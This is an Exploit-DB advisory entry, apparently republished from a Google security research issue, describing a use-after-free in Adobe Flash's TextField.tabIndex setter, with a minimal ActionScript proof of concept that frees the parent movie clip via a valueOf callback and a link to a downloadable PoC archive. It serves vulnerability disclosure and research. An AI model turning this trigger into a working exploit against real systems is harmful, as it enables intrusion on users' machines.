Adobe Flash TextField.tabIndex Setter - Use-After-Free

EDB-ID:

39054




Platform:

Windows

Date:

2015-12-18


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Source: https://code.google.com/p/google-security-research/issues/detail?id=574

There is a use-after-free in the TextField.tabIndex setter. If the integer parameter is an object with valueOf defined, then it can free the TextField's parent, leading to a use-after-free. A minimal PoC follows:

var times = 0;
var mc = this.createEmptyMovieClip("mc", 1);
var tf = mc.createTextField("tf", 2, 1, 1, 100, 100);
tf.text = "hello";
tf.tabIndex = {valueOf : func};

function func(){
	if(times == 0){
		times++;
		return;
        }
	mc.removeMovieClip();
	
        // Fix heap here

	return 0x77777777;
	
	}

A sample swf and fla are attached.


Proof of Concept:
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39054.zip